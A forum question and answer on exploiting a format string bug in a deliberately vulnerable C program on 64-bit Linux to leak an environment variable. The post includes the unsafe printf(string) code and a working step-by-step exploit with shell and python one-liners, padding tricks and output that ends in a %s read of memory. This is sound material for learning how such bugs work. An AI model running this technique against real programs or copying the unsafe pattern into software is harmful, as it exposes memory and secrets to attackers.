Reading an environment variable using the format string vulnerability in a 64 bit OS

Viewed 422

I'm trying to read a value from the environment by using the format string vulnerability. This type of vulnerability is documented all over the web, however the examples that I've found only cover 32 bits Linux, and my desktop's running a 64 bit Linux.

This is the code I'm using to run my tests on:

//fmt.c

#include  <stdio.h>
#include <string.h>

int main (int argc, char *argv[]) {
    
    char string[1024];

    if (argc < 2)
        return 0;

    strcpy( string, argv[1] );

    printf( "vulnerable string: %s\n", string );
    printf( string );
    printf( "\n" );
}

After compiling that I put my test variable and get its address. Then I pass it to the program as a parameter and I add a bunch of format in order to read from them:

$ export FSTEST="Look at my horse, my horse is amazing."

$ echo $FSTEST
Look at my horse, my horse is amazing.

$ ./getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb

$ printf '\xcb\xef\xff\xff\xff\x7f' | od -vAn -tx1c
  cb  ef  ff  ff  ff  7f
 313 357 377 377 377 177

$ ./fmt $(printf '\xcb\xef\xff\xff\xff\x7f')`python -c "print('%016lx.'*10)"`            
vulnerable string: %016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.
00000000004052a0.0000000000000000.0000000000000000.00000000ffffffff.0000000000000060.
0000000000000001.00000060f7ffd988.00007fffffffd770.00007fffffffd770.30257fffffffefcb.

$ echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c" | od -vAn -tx1c
  cb  ef  ff  ff  ff  7f  25  31  30  24  31  36  6c  78
 313 357 377 377 377 177   %   1   0   $   1   6   l   x

$ ./fmt $(echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c")
vulnerable string: %10$16lx
31257fffffffefcb

The 10th value contains the address I want to read from, however it's not padded with 0s but with the value 3125 instead.

Is there a way to properly pad that value so I can read the environment variable with something like the '%s' format?

1 Answers

So, after experimenting for a while, I ran into a way to read an environment variable by using the format string vulnerability. It's a bit sloppy, but hey - it works.

So, first the usual. I create an environment value and find its location:

$ export FSTEST="Look at my horse, my horse is amazing."

$ echo $FSTEST                                                                                                
Look at my horse, my horse is amazing.

$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb

Now, no matter how I tried, putting the address before the format strings always got both mixed, so I moved the address to the back and added some padding of my own, so I could identify it and add more padding if needed. Also, python and my environment don't get along with some escape sequences, so I ended up using a mix of both the python one-liner and printf (with an extra '%' due to the way the second printf parses a single '%' - be sure to remove this extra '%' after you test it with od/hexdump/whathaveyou)

$ printf `python -c "print('%%016lx|' *1)"\
  `$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
  25  30  31  36  6c  78  7c  2d  2d  2d  2d  2d  2d  2d  2d  cb
   %   0   1   6   l   x   |   -   -   -   -   -   -   -   - 313
  ef  ff  ff  ff  7f
 357 377 377 377 177

With that solved, next step would be to find either the padding or (if you're lucky) the address. I'm repeating the format string 110 times, but your mileage might vary:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------

The consecutive '2d' values are just the hex values for '-' After adding more '-' for padding and testing, I ended up with something like this:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

So, the address got pushed towards the very last format placeholder. Let's modify the way we output these format placeholders so we can manipulate the last one in a more convenient way:

$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

It should show the same result, but now it's possible to use an '%s' as the last placeholder. Replacing '%016lx|' with just '%s|' wont work, because the extra padding is needed. So, I just add 4 extra '|' characters to compensate:

./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------

VoilĂ , the environment variable got leaked.

Related